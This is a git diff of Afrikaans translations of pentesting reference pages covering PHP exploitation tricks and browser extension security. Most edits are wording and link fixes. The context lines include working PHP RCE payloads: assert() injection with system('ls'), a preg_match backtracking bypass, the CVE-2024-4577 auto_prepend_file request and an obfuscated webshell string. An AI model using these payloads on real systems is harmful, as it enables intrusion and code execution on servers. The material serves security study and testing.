+Om dit te bereik, sal `'X'*500_001` 1 miljoen terugspoel stappe (500k vorentoe en 500k agtertoe) oplewer:
```python
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
```
@@ -153,10 +153,10 @@ Kontroleer:
## Meer truuks
- **register_globals**: In **PHP < 4.1.1.1** of as verkeerd geconfigureer, kan **register_globals** aktief wees (of hul gedrag word nagebootst). Dit impliseer dat in globale veranderlikes soos $\_GET as hulle 'n waarde het bv. $\_GET\["param"]="1234", kan jy dit toegang via **$param. Daarom, deur HTTP parameters te stuur kan jy veranderlikes\*\* wat binne die kode gebruik word oorskryf.
-- Die **PHPSESSION koekies van dieselfde domein word in dieselfde plek gestoor**, daarom as binne 'n domein **verskillende koekies in verskillende paaie gebruik word** kan jy maak dat 'n pad **die koekie van die pad** toegang gee deur die waarde van die ander pad koekie in te stel.\
-Op hierdie manier, as **albei paaie toegang het tot 'n veranderlike met dieselfde naam** kan jy maak dat die **waarde van daardie veranderlike in pad1 op pad2 van toepassing is**. En dan sal pad2 die veranderlikes van pad1 as geldig neem (deur die koekie die naam te gee wat ooreenstem met dit in pad2).
+- Die **PHPSESSION koekies van dieselfde domein word in dieselfde plek gestoor**, daarom as daar binne 'n domein **verskillende koekies in verskillende paaie gebruik word** kan jy maak dat 'n pad **die koekie van die pad** toegang gee deur die waarde van die ander pad koekie in te stel.\
+Op hierdie manier, as **albei paaie toegang het tot 'n veranderlike met dieselfde naam** kan jy maak dat die **waarde van daardie veranderlike in pad1 van toepassing is op pad2**. En dan sal pad2 die veranderlikes van pad1 as geldig neem (deur die koekie die naam te gee wat ooreenstem met dit in pad2).
- Wanneer jy die **gebruikersname** van die gebruikers van die masjien het. Kontroleer die adres: **/\~\** om te sien of die php gidse geaktiveer is.
-- [**LFI en RCE met behulp van php wrappers**](../../../pentesting-web/file-inclusion/)
+- [**LFI en RCE met behulp van php wrappers**](../../../pentesting-web/file-inclusion/index.html)
### password_hash/password_verify
@@ -181,10 +181,10 @@ Dit laat toe om byvoorbeeld CSP headers te omseil wat in kodes soos:
header("Content-Security-Policy: default-src 'none';");
if (isset($_GET["xss"])) echo $_GET["xss"];
```
-#### Vul 'n liggaam in voordat jy koptekste stel
+#### Vul 'n liggaam in voordat jy kopstukke stel
-As 'n **PHP-bladsy foute druk en sommige invoer wat deur die gebruiker verskaf is, teruggee**, kan die gebruiker die PHP-bediener dwing om 'n **inhoud wat lank genoeg is** te druk sodat wanneer dit probeer om die **koptekste** in die antwoord by te voeg, die bediener 'n fout sal gooi.\
-In die volgende scenario het die **aanvaller die bediener gedwing om groot foute te gooi**, en soos jy in die skerm kan sien, toe php probeer het om die **kopinligting te wysig, kon dit nie** (soos byvoorbeeld die CSP-kop nie aan die gebruiker gestuur is nie):
+As 'n **PHP-bladsy foute druk en terugvoer gee van sommige invoer wat deur die gebruiker verskaf is**, kan die gebruiker die PHP-bediener dwing om 'n **inhoud wat lank genoeg is** te druk sodat wanneer dit probeer om die **kopstukke** in die antwoord by te voeg, die bediener 'n fout sal gooi.\
+In die volgende scenario het die **aanvaller die bediener gedwing om groot foute te gooi**, en soos jy in die skerm kan sien, toe php probeer het om die **kopstuk-inligting te wysig, kon dit nie** (soos byvoorbeeld die CSP-kopstuk nie aan die gebruiker gestuur is):
.png>)
@@ -202,7 +202,7 @@ php-ssrf.md
NAN;**\`ls\`;**\
**shell_exec("ls");**
-[Kyk hierna vir meer nuttige PHP funksies](php-useful-functions-disable_functions-open_basedir-bypass/)
+[Kyk hierna vir meer nuttige PHP funksies](php-useful-functions-disable_functions-open_basedir-bypass/index.html)
### **RCE via** **preg_replace()**
```php
@@ -222,12 +222,12 @@ Hierdie opsie van preg_replace is **verouderd sedert PHP 5.5.0.**
```
### **RCE via Assert()**
-Hierdie funksie binne php laat jou toe om **kode wat in 'n string geskryf is uit te voer** ten einde **waar of vals te retourneer** (en afhangende hiervan die uitvoering te verander). Gewoonlik sal die gebruikersvariabele in die middel van 'n string ingevoeg word. Byvoorbeeld:\
+Hierdie funksie binne php laat jou toe om **kode wat in 'n string geskryf is'** uit te voer om **waar of vals te retourneer** (en afhangende hiervan die uitvoering te verander). Gewoonlik sal die gebruikersvariabele in die middel van 'n string ingevoeg word. Byvoorbeeld:\
`assert("strpos($_GET['page']),'..') === false")` --> In hierdie geval om **RCE** te verkry kan jy doen:
```
?page=a','NeVeR') === false and system('ls') and strpos('a
```
-U sal die **kode** **syntaksis** moet **breek**, u **payload** moet **byvoeg** en dit dan **weer regmaak**. U kan **logiese operasies** soos "**and" of "%26%26" of "|"** gebruik. Let daarop dat "or", "||" nie werk nie omdat as die eerste voorwaarde waar is, ons payload nie uitgevoer sal word nie. Dieselfde geld ";" wat nie werk nie omdat ons payload nie uitgevoer sal word nie.
+U sal die **kode** **syntaksis** moet **breek**, u **payload** **byvoeg**, en dit dan **weer regmaak**. U kan **logiese operasies** soos "**and" of "%26%26" of "|"** gebruik. Let daarop dat "or", "||" nie werk nie omdat as die eerste voorwaarde waar is, ons payload nie uitgevoer sal word nie. Dieselfde geld ";" wat nie werk nie omdat ons payload nie uitgevoer sal word nie.
**Ander opsie** is om die uitvoering van die opdrag aan die string toe te voeg: `'.highlight_file('.passwd').'`
@@ -266,13 +266,13 @@ Om die aantal hakies wat u moet sluit te ontdek:
### **RCE via .httaccess**
-As u 'n **.htaccess** kan **oplaai**, kan u verskeie dinge **konfigureer** en selfs kode uitvoer (om te konfigureer dat lêers met die uitbreiding .htaccess kan **uitgevoer** word).
+As u 'n **.htaccess** kan **oplaai**, kan u verskeie dinge **konfigureer** en selfs kode uitvoer (om te konfigureer dat lêers met die uitbreiding .htaccess **uitgevoer** kan word).
Verskillende .htaccess shells kan [hier](https://github.com/wireghoul/htshells) gevind word.
### RCE via Env Variabeles
-As u 'n kwesbaarheid vind wat u toelaat om **omgewingsvariabeles in PHP** te **wysig** (en 'n ander een om lêers op te laai, alhoewel met meer navorsing kan dit miskien omseil word), kan u hierdie gedrag misbruik om **RCE** te verkry.
+As u 'n kwesbaarheid vind wat u toelaat om **omgewingsvariabeles in PHP** te **wysig** (en nog een om lêers op te laai, alhoewel met meer navorsing kan dit miskien omseil word), kan u hierdie gedrag misbruik om **RCE** te verkry.
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path): Hierdie omgewingsvariabele laat u toe om arbitrêre biblioteke te laai wanneer u ander binêre uitvoer (alhoewel dit in hierdie geval dalk nie sal werk nie).
- **`PHPRC`** : Gee PHP instruksies oor **waar om sy konfigurasielêer te vind**, wat gewoonlik `php.ini` genoem word. As u u eie konfigurasielêer kan oplaai, gebruik dan `PHPRC` om PHP daarop te wys. Voeg 'n **`auto_prepend_file`** inskrywing by wat 'n tweede opgelaaide lêer spesifiseer. Hierdie tweede lêer bevat normale **PHP kode, wat dan** deur die PHP runtime uitgevoer word voordat enige ander kode.
@@ -289,11 +289,11 @@ As u 'n kwesbaarheid vind wat u toelaat om **omgewingsvariabeles in PHP** te **w
### XAMPP CGI RCE - CVE-2024-4577
-Die webbediener ontleed HTTP versoeke en stuur dit na 'n PHP-skrip wat 'n versoek soos [`http://host/cgi.php?foo=bar`](http://host/cgi.php?foo=bar&ref=labs.watchtowr.com) uitvoer as `php.exe cgi.php foo=bar`, wat 'n parameterinjeksie toelaat. Dit sal toelaat om die volgende parameters in te voeg om die PHP-kode uit die liggaam te laai:
+Die webbediener ontleed HTTP versoeke en stuur dit na 'n PHP-skrip wat 'n versoek uitvoer soos [`http://host/cgi.php?foo=bar`](http://host/cgi.php?foo=bar&ref=labs.watchtowr.com) as `php.exe cgi.php foo=bar`, wat 'n parameterinjeksie toelaat. Dit sal toelaat om die volgende parameters in te spuit om die PHP-kode uit die liggaam te laai:
```jsx
-d allow_url_include=1 -d auto_prepend_file=php://input
```
-Boonop, dit is moontlik om die "-" parameter in te voeg met behulp van die 0xAD karakter as gevolg van latere normalisering van PHP. Kyk na die eksploit voorbeeld van [**hierdie pos**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/):
+Boonop, dit is moontlik om die "-" param te injekteer met die 0xAD karakter as gevolg van latere normalisering van PHP. Kyk na die eksploit voorbeeld van [**hierdie pos**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/):
```jsx
POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{host}}
@@ -388,7 +388,7 @@ Content-Type: application/x-www-form-urlencoded
comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
```
-Vir 'n meer diepgaande verduideliking, kyk [https://ctf-wiki.org/web/php/php/#preg_match](https://ctf-wiki.org/web/php/php/#preg_match)
+Vir 'n meer diepgaande verduideliking, kyk na [https://ctf-wiki.org/web/php/php/#preg_match](https://ctf-wiki.org/web/php/php/#preg_match)
### XOR Shellcode (binne eval)
```bash
diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/README.md b/src/pentesting-web/browser-extension-pentesting-methodology/README.md
index 9b73290ee..1f3dde656 100644
--- a/src/pentesting-web/browser-extension-pentesting-methodology/README.md
+++ b/src/pentesting-web/browser-extension-pentesting-methodology/README.md
@@ -8,7 +8,7 @@ Bladsy uitbreidings is in JavaScript geskryf en word deur die blaier in die agte
## Hoofkomponente
-Uitbreidingsuitleg lyk die beste wanneer dit visueel voorgestel word en bestaan uit drie komponente. Kom ons kyk na elke komponent in diepte.
+Uitbreidingsuitlegte lyk die beste wanneer dit visueel voorgestel word en bestaan uit drie komponente. Kom ons kyk na elke komponent in diepte.
@@ -61,7 +61,7 @@ Voorbeeld:
```
### `content_scripts`
-Inhoudscripts word **gelaai** wanneer die gebruiker **na 'n ooreenstemmende bladsy navigeer**, in ons geval enige bladsy wat ooreenstem met die **`https://example.com/*`** uitdrukking en nie ooreenstem met die **`*://*/*/business*`** regex nie. Hulle voer uit **soos die bladsy se eie skripte** en het arbitrêre toegang tot die bladsy se [Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model).
+Inhoudscripte word **gelaai** wanneer die gebruiker **na 'n ooreenstemmende bladsy navigeer**, in ons geval enige bladsy wat ooreenstem met die **`https://example.com/*`** uitdrukking en nie ooreenstem met die **`*://*/*/business*`** regex nie. Hulle voer uit **soos die bladsy se eie skripte** en het arbitrêre toegang tot die bladsy se [Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model).
```json
"content_scripts": [
{
@@ -97,16 +97,16 @@ document.body.appendChild(div)
> Afhangende van die blaaier, kan die vermoëns van die inhoudskrip effens verskil. Vir Chromium-gebaseerde blaaiers is die vermoënslys beskikbaar in die [Chrome Developers documentation](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities), en vir Firefox dien die [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) as die primêre bron.\
> Dit is ook noemenswaardig dat inhoudskripte die vermoë het om met agtergrondskripte te kommunikeer, wat hulle in staat stel om aksies uit te voer en antwoorde terug te stuur.
-Vir die weergave en foutopsporing van inhoudskripte in Chrome, kan die Chrome ontwikkelaarstoele menukies vanaf Opsies > Meer gereedskap > Ontwikkelaarstoele of deur Ctrl + Shift + I te druk, verkry word.
+Vir die weergave en foutopsporing van inhoudskripte in Chrome, kan die Chrome ontwikkelaarstoele menubalk vanaf Opsies > Meer gereedskap > Ontwikkelaarstoele bereik word OF deur Ctrl + Shift + I te druk.
-Sodra die ontwikkelaarstoele vertoon word, moet die **Bron tab** geklik word, gevolg deur die **Inhoud Skripte** tab. Dit stel die waarneming van lopende inhoudskripte van verskeie uitbreidings en die instelling van breekpunte om die uitvoeringsvloei te volg, moontlik.
+Sodra die ontwikkelaarstoele vertoon word, moet die **Bron tab** geklik word, gevolg deur die **Inhoud Skripte** tab. Dit stel die waarneming van lopende inhoudskripte van verskeie uitbreidings en die instelling van breekpunte om die uitvoeringsvloei te volg, in staat.
### Ingevoegde inhoudskripte
> [!TIP]
-> Let daarop dat **Inhoud Skripte nie verpligtend is nie** aangesien dit ook moontlik is om **dynamies** **skripte in te voeg** en om **programmaties** in webbladsye in te voeg via **`tabs.executeScript`**. Dit bied eintlik meer **fynbeheer**.
+> Let daarop dat **Inhoud Skripte nie verpligtend is nie** aangesien dit ook moontlik is om **dynamies** **skripte in te voeg** en om **programmaties** in webblaaie in te voeg via **`tabs.executeScript`**. Dit bied eintlik meer **fynbeheer**.
-Vir die programmatiese invoeging van 'n inhoudskrip, moet die uitbreiding [gashere toestemming](https://developer.chrome.com/docs/extensions/reference/permissions) hê vir die bladsy waarin die skripte ingevoeg moet word. Hierdie toestemmings kan verkry word deur **hulle aan te vra** binne die manifest van die uitbreiding of op 'n tydelike basis deur [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab) te gebruik.
+Vir die programmatiese invoeging van 'n inhoudskrip, moet die uitbreiding [gashere-toestemmings](https://developer.chrome.com/docs/extensions/reference/permissions) hê vir die bladsy waarin die skripte ingevoeg moet word. Hierdie toestemmings kan verkry word deur **hulle aan te vra** binne die manifest van die uitbreiding of op 'n tydelike basis deur [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab).
#### Voorbeeld van 'n activeTab-gebaseerde uitbreiding
```json:manifest.json
@@ -171,7 +171,7 @@ Om meer URL's in te sluit of uit te sluit, is dit ook moontlik om **`include_glo
### Inhoud Skripte `run_at`
-Die `run_at` veld beheer **wanneer JavaScript-lêers in die webblad ingesluit word**. Die verkieslike en standaard waarde is `"document_idle"`.
+Die `run_at` veld beheer **wanneer JavaScript-lêers in die webblad ingespuit word**. Die verkieslike en standaard waarde is `"document_idle"`.
Die moontlike waardes is:
@@ -214,10 +214,10 @@ Boodskappe wat deur inhoudscripts gestuur word, word deur die **agtergrondbladsy
- **Agtergrondbladsy Rol:** Dien as die senuweesentrum vir die uitbreiding, wat kommunikasie en koördinering tussen verskillende dele van die uitbreiding verseker.
- **Volharding:** Dit is 'n altyd teenwoordige entiteit, onsigbaar vir die gebruiker, maar integraal tot die uitbreiding se funksionaliteit.
-- **Outomatiese Generasie:** As dit nie eksplisiet gedefinieer is nie, sal die blaaier outomaties 'n agtergrondbladsy skep. Hierdie outomaties gegenereerde bladsy sal al die agtergrondskripte insluit wat in die uitbreiding se manifest gespesifiseer is, wat die naatlose werking van die uitbreiding se agtergrondtake verseker.
+- **Outomatiese Generasie:** As dit nie eksplisiet gedefinieer is nie, sal die blaaiers outomaties 'n agtergrondbladsy skep. Hierdie outomaties gegenereerde bladsy sal al die agtergrondskripte insluit wat in die uitbreiding se manifest gespesifiseer is, wat die naatlose werking van die uitbreiding se agtergrondtake verseker.
> [!TIP]
-> Die gerief wat deur die blaaier verskaf word om outomaties 'n agtergrondbladsy te genereer (wanneer dit nie eksplisiet verklaar is nie) verseker dat al die nodige agtergrondskripte geïntegreer en operasioneel is, wat die uitbreiding se opstellingsproses stroomlyn.
+> Die gerief wat deur die blaaiers verskaf word om outomaties 'n agtergrondbladsy te genereer (wanneer dit nie eksplisiet verklaar is nie) verseker dat al die nodige agtergrondskripte geïntegreer en operasioneel is, wat die uitbreiding se opstellingsproses stroomlyn.
Voorbeeld agtergrondskrip:
```js
@@ -239,7 +239,7 @@ Blaaier uitbreidings kan verskillende soorte bladsye bevat:
- **Aksie bladsye** word vertoon in 'n **afrollys wanneer die uitbreiding ikoon** geklik word.
- Bladsye wat die uitbreiding sal **laai in 'n nuwe tab**.
-- **Opsie Bladsye**: Hierdie bladsy verskyn bo-op die uitbreiding wanneer dit geklik word. In die vorige manifest was ek in staat om toegang tot hierdie bladsy te verkry in `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` of deur te klik:
+- **Opsie Bladsye**: Hierdie bladsy vertoon bo-op die uitbreiding wanneer dit geklik word. In die vorige manifest was ek in staat om toegang tot hierdie bladsy te verkry in `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` of deur te klik:
@@ -325,9 +325,9 @@ browext-clickjacking.md
Volgens die [**docs**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable), verklaar die `"externally_connectable"` manifest eienskap **watter uitbreidings en web bladsye kan verbind** met jou uitbreiding via [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) en [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage).
-- As die **`externally_connectable`** sleutel **nie** in jou uitbreiding se manifest verklaar is nie of dit verklaar is as **`"ids": ["*"]`**, kan **alle uitbreidings verbind, maar geen web bladsye kan verbind**.
-- As **spesifieke ID's gespesifiseer is**, soos in `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, kan **slegs daardie toepassings** verbind.
-- As **ooreenkomste** gespesifiseer is, sal daardie webtoepassings in staat wees om te verbind:
+- As die **`externally_connectable`** sleutel **nie** in jou uitbreiding se manifest verklaar is nie of dit verklaar is as **`"ids": ["*"]`**, **kan alle uitbreidings verbind, maar geen web bladsye kan verbind**.
+- As **spesifieke ID's gespesifiseer is**, soos in `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **kan slegs daardie toepassings** verbind.
+- As **ooreenkomste** gespesifiseer is, sal daardie web toepassings in staat wees om te verbind:
```json
"matches": [
"https://*.google.com/*",
@@ -389,7 +389,7 @@ console.log("Content script received message from background script:", msg)
```
-Dit is ook moontlik om boodskappe van 'n agtergrondskrip na 'n inhoudskrip in 'n spesifieke oortjie te stuur deur **`chrome.tabs.sendMessage`** aan te roep, waar jy die **ID van die oortjie** moet aandui om die boodskap na te stuur.
+Dit is ook moontlik om boodskappe van 'n agtergrondskrip na 'n inhoudskrip in 'n spesifieke oortjie te stuur deur **`chrome.tabs.sendMessage`** aan te roep waar jy die **ID van die oortjie** moet aandui om die boodskap na te stuur.
### Van toegelate `externally_connectable` na die uitbreiding
@@ -401,7 +401,7 @@ Waar dit nodig is om die **uitbreiding ID** te noem.
### Native Messaging
-Dit is moontlik vir die agtergrondskripte om met binêre binne die stelsel te kommunikeer, wat **onderhewig kan wees aan kritieke kwesbaarhede soos RCE's** as hierdie kommunikasie nie behoorlik beveilig is nie. [More on this later](#native-messaging).
+Dit is moontlik vir die agtergrond skripte om te kommunikeer met binaries binne die stelsel, wat **onderhewig kan wees aan kritieke kwesbaarhede soos RCE's** as hierdie kommunikasie nie behoorlik beveilig is nie. [More on this later](#native-messaging).
```javascript
chrome.runtime.sendNativeMessage(
"com.my_company.my_application",
@@ -454,7 +454,7 @@ false
- **`event.isTrusted`**: Dit is Waar slegs as die gebeurtenis deur 'n gebruiker se aksie geaktiveer is
- Die inhoudskrip mag 'n boodskap verwag slegs as die gebruiker 'n aksie uitvoer
-- **oorsprong domein**: mag 'n boodskap verwag slegs 'n toelaatbare lys van domeine.
+- **oorsprong domein**: mag 'n boodskap verwag slegs toelaatbare domeine.
- As 'n regex gebruik word, wees baie versigtig
- **Bron**: `received_message.source !== window` kan gebruik word om te kyk of die boodskap **van dieselfde venster** is waar die Inhoudskrip luister.
@@ -486,9 +486,9 @@ browext-xss-example.md
'n Inhoudskrip kan die funksies [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **of** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) gebruik om 'n **eenmalige JSON-serialiseerbare** boodskap te stuur.
-Om die **antwoord** te hanteer, gebruik die teruggegee **Promise**. Alhoewel, vir agterwaartse verenigbaarheid, kan jy steeds 'n **terugroep** as die laaste argument deurgee.
+Om die **antwoord** te hanteer, gebruik die teruggegee **Promise**. Alhoewel, vir agterwaartse kompatibiliteit, kan jy steeds 'n **callback** as die laaste argument deurgee.
-Om 'n versoek van 'n **inhoudskrip** te stuur lyk soos hierdie:
+Om 'n versoek van 'n **inhoudskrip** te stuur lyk soos volg:
```javascript
;(async () => {
const response = await chrome.runtime.sendMessage({ greeting: "hello" })
@@ -496,7 +496,7 @@ const response = await chrome.runtime.sendMessage({ greeting: "hello" })
console.log(response)
})()
```
-Stuur 'n versoek vanaf die **extension** (gewoonlik 'n **background script**). Voorbeeld van hoe om 'n boodskap na die inhoudscript in die geselekteerde oortjie te stuur:
+Stuur 'n versoek vanaf die **uitbreiding** (gewoonlik 'n **agtergrondskrip**). Voorbeeld van hoe om 'n boodskap na die inhoudskrip in die geselekteerde oortjie te stuur:
```javascript
// From https://stackoverflow.com/questions/36153999/how-to-send-a-message-between-chrome-extension-popup-and-content-script
;(async () => {
@@ -523,9 +523,9 @@ if (request.greeting === "hello") sendResponse({ farewell: "goodbye" })
```
In die voorbeeld wat uitgelig is, **`sendResponse()`** is in 'n sinchroniese wyse uitgevoer. Om die `onMessage` gebeurtenis hanteraar te wysig vir asynchrone uitvoering van `sendResponse()`, is dit noodsaaklik om `return true;` in te sluit.
-'n Belangrike oorweging is dat in scenario's waar verskeie bladsye ingestel is om `onMessage` gebeurtenisse te ontvang, **die eerste bladsy wat `sendResponse()`** vir 'n spesifieke gebeurtenis uitvoer, die enigste een sal wees wat die respons effektief kan lewer. Enige daaropvolgende respons op dieselfde gebeurtenis sal nie in ag geneem word nie.
+'n Belangrike oorweging is dat in scenario's waar verskeie bladsye ingestel is om `onMessage` gebeurtenisse te ontvang, **die eerste bladsy wat `sendResponse()`** vir 'n spesifieke gebeurtenis uitvoer, die enigste een sal wees wat die respons effektief kan lewer. Enige daaropvolgende antwoorde op dieselfde gebeurtenis sal nie in ag geneem word nie.
-Wanneer nuwe uitbreidings geskep word, moet die voorkeur wees vir beloftes eerder as terugroepe. Ten opsigte van die gebruik van terugroepe, word die `sendResponse()` funksie as geldig beskou slegs as dit direk binne die sinchroniese konteks uitgevoer word, of as die gebeurtenis hanteraar 'n asynchrone operasie aandui deur `true` te retourneer. As geen van die hanteraar terugkeer `true` nie of as die `sendResponse()` funksie uit geheue verwyder word (vullis-gekolekteer), sal die terugroep wat met die `sendMessage()` funksie geassosieer word, standaard geaktiveer word.
+Wanneer nuwe uitbreidings geskep word, moet die voorkeur wees vir beloftes eerder as terugroepe. Ten opsigte van die gebruik van terugroepe, word die `sendResponse()` funksie as geldig beskou slegs as dit direk binne die sinchroniese konteks uitgevoer word, of as die gebeurtenis hanteraar 'n asynchrone operasie aandui deur `true` te retourneer. As geen van die hanteraar `true` teruggee nie of as die `sendResponse()` funksie uit geheue verwyder word (vullis-gekollekteer), sal die terugroep wat met die `sendMessage()` funksie geassosieer word, standaard geaktiveer word.
## Native Messaging
@@ -558,42 +558,42 @@ console.log("Received " + response)
```
In [**hierdie blogpos**](https://spaceraccoon.dev/universal-code-execution-browser-extensions/), 'n kwesbare patroon wat inheemse boodskappe misbruik, word voorgestel:
-1. Die blaaierspesialis het 'n wildcard-patroon vir inhoudskrip.
+1. Die blaaierspesie het 'n wildcard-patroon vir inhoudskrip.
2. Inhoudskrip stuur `postMessage` boodskappe na die agtergrondskrip met behulp van `sendMessage`.
3. Agtergrondskrip stuur die boodskap na die inheemse toepassing met `sendNativeMessage`.
4. Inheemse toepassing hanteer die boodskap gevaarlik, wat lei tot kode-uitvoering.
-En binne dit word 'n voorbeeld van **hoe om van enige bladsy na RCE te gaan deur 'n blaaierspesialis te misbruik** verduidelik.
+En binne dit word 'n voorbeeld van **hoe om van enige bladsy na RCE te gaan deur 'n blaaierspesie te misbruik** verduidelik.
## Sensitiewe Inligting in Geheue/Kode/Klips
-As 'n Blaaierspesialis **sensitiewe inligting in sy geheue stoor**, kan dit **gedump** word (veral op Windows masjiene) en **gesoek** word na hierdie inligting.
+As 'n Blaaierspesie **sensitiewe inligting in sy geheue stoor**, kan dit **gedump** word (veral op Windows masjiene) en **gesoek** word na hierdie inligting.
-Daarom **moet die geheue van die Blaaierspesialis nie as veilig beskou word nie** en **sensitiewe inligting** soos akrediteer of mnemoniese frases **moet nie gestoor word nie**.
+Daarom **moet die geheue van die Blaaierspesie nie as veilig beskou word nie** en **sensitiewe inligting** soos akrediteer of mnemoniese frases **moet nie gestoor word nie**.
Natuurlik, moenie **sensitiewe inligting in die kode plaas nie**, aangesien dit **publiek** sal wees.
-Om geheue van die blaaier te dump, kan jy **die prosesgeheue dump** of na die **instellings** van die blaaierspesialis gaan en op **`Inspect pop-up`** klik -> In die **`Memory`** afdeling -> **`Neem 'n snapshot`** en **`CTRL+F`** om binne die snapshot na sensitiewe inligting te soek.
+Om geheue van die blaaier te dump, kan jy **die prosesgeheue dump** of om na die **instellings** van die blaaierspesie te gaan, klik op **`Inspect pop-up`** -> In die **`Memory`** afdeling -> **`Neem 'n snapshot`** en **`CTRL+F`** om binne die snapshot na sensitiewe inligting te soek.
Boonop **moet hoogs sensitiewe inligting soos mnemoniese sleutels of wagwoorde nie in die klips gekopieer word nie** (of ten minste dit binne 'n paar sekondes uit die klips verwyder) omdat prosesse wat die klips monitor, dit dan kan verkry.
-## Laai 'n Spesialis in die Blaaier
+## Laai 'n Spesie in die Blaaier
-1. **Laai af** die Blaaierspesialis & ongedaan gemaak
+1. **Laai af** die Blaaierspesie & ongedaan gemaak
2. Gaan na **`chrome://extensions/`** en **aktiveer** die `Ontwikkelaar Modus`
3. Klik op die **`Laai ongedaan`** knoppie
In **Firefox** gaan jy na **`about:debugging#/runtime/this-firefox`** en klik op die **`Laai Tydelike Byvoeging`** knoppie.
-## Verkry die bronkode van die winkel
+## Kry die bronkode van die winkel
-Die bronkode van 'n Chrome-spesialis kan deur verskeie metodes verkry word. Hieronder is gedetailleerde verduidelikings en instruksies vir elke opsie.
+Die bronkode van 'n Chrome-spesie kan deur verskeie metodes verkry word. Hieronder is gedetailleerde verduidelikings en instruksies vir elke opsie.
-### Laai Spesialis as ZIP via Opdraglyn
+### Laai Spesie af as ZIP via Opdraglyn
-Die bronkode van 'n Chrome-spesialis kan as 'n ZIP-lêer afgelaai word met behulp van die opdraglyn. Dit behels die gebruik van `curl` om die ZIP-lêer van 'n spesifieke URL te verkry en dan die inhoud van die ZIP-lêer na 'n gids te onttrek. Hier is die stappe:
+Die bronkode van 'n Chrome-spesie kan as 'n ZIP-lêer afgelaai word met behulp van die opdraglyn. Dit behels die gebruik van `curl` om die ZIP-lêer van 'n spesifieke URL te verkry en dan die inhoud van die ZIP-lêer na 'n gids te onttrek. Hier is die stappe:
-1. Vervang `"extension_id"` met die werklike ID van die spesialis.
+1. Vervang `"extension_id"` met die werklike ID van die spesie.
2. Voer die volgende opdragte uit:
```bash
extension_id=your_extension_id # Replace with the actual extension ID
@@ -621,13 +621,13 @@ Om uitbreidings te identifiseer, kan jy hul ID's aan name toewys:
- Aktiveer Ontwikkelaar Modus op die `about:extensions` bladsy om die ID's van elke uitbreiding te sien.
- Binne elke uitbreiding se gids bevat die `manifest.json` lêer 'n leesbare `name` veld, wat jou help om die uitbreiding te identifiseer.
-### Gebruik 'n Lêer Argiveerder of Unpacker
+### Gebruik 'n Lêer Argiveerder of Uittreksel
-Gaan na die Chrome Web Store en laai die uitbreiding af. Die lêer sal 'n `.crx` uitbreiding hê. Verander die lêer uitbreiding van `.crx` na `.zip`. Gebruik enige lêer argiveerder (soos WinRAR, 7-Zip, ens.) om die inhoud van die ZIP-lêer uit te pak.
+Gaan na die Chrome Web Store en laai die uitbreiding af. Die lêer sal 'n `.crx` uitbreiding hê. Verander die lêer uitbreiding van `.crx` na `.zip`. Gebruik enige lêer argiveerder (soos WinRAR, 7-Zip, ens.) om die inhoud van die ZIP-lêer uit te trek.
### Gebruik Ontwikkelaar Modus in Chrome
-Maak Chrome oop en gaan na `chrome://extensions/`. Aktiveer "Ontwikkelaar modus" aan die boonste regterkant. Klik op "Laai ontpakte uitbreiding...". Navigeer na die gids van jou uitbreiding. Dit laai nie die bronkode af nie, maar dit is nuttig om die kode van 'n reeds afgelaaide of ontwikkelde uitbreiding te beskou en te wysig.
+Maak Chrome oop en gaan na `chrome://extensions/`. Aktiveer "Ontwikkelaar modus" aan die boonste regterkant. Klik op "Laai ontpackte uitbreiding...". Navigeer na die gids van jou uitbreiding. Dit laai nie die bronkode af nie, maar dit is nuttig om die kode van 'n reeds afgelaaide of ontwikkelde uitbreiding te beskou en te wysig.
## Chrome uitbreiding manifest dataset
@@ -638,58 +638,58 @@ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.lengt
```
## Sekuriteitsoudit Kontrolelys
-Alhoewel Bladsy-uitbreidings 'n **beperkte aanvaloppervlak** het, kan sommige van hulle **kwesbaarhede** of **potensiële versterkingsverbeterings** bevat. Die volgende is die mees algemene:
+Alhoewel Blaaieruitbreidings 'n **beperkte aanvaloppervlak** het, kan sommige van hulle **kwesbaarhede** of **potensiële versterkingsverbeterings** bevat. Die volgende is die mees algemene:
- [ ] **Beperk** so veel as moontlik aangevraagde **`permissions`**
- [ ] **Beperk** so veel as moontlik **`host_permissions`**
- [ ] Gebruik 'n **sterk** **`content_security_policy`**
-- [ ] **Beperk** so veel as moontlik die **`externally_connectable`**, as geen nodig is en moontlik, laat dit nie standaard nie, spesifiseer **`{}`**
+- [ ] **Beperk** so veel as moontlik die **`externally_connectable`**, as geen nodig is nie en moontlik, laat dit nie standaard nie, spesifiseer **`{}`**
- [ ] As **URL kwesbaar vir XSS of oorname** hier genoem word, sal 'n aanvaller in staat wees om **boodskappe direk na die agtergrondskripte te stuur**. Baie kragtige omseiling.
- [ ] **Beperk** so veel as moontlik die **`web_accessible_resources`**, selfs leeg as moontlik.
- [ ] As **`web_accessible_resources`** nie geen is nie, kyk vir [**ClickJacking**](browext-clickjacking.md)
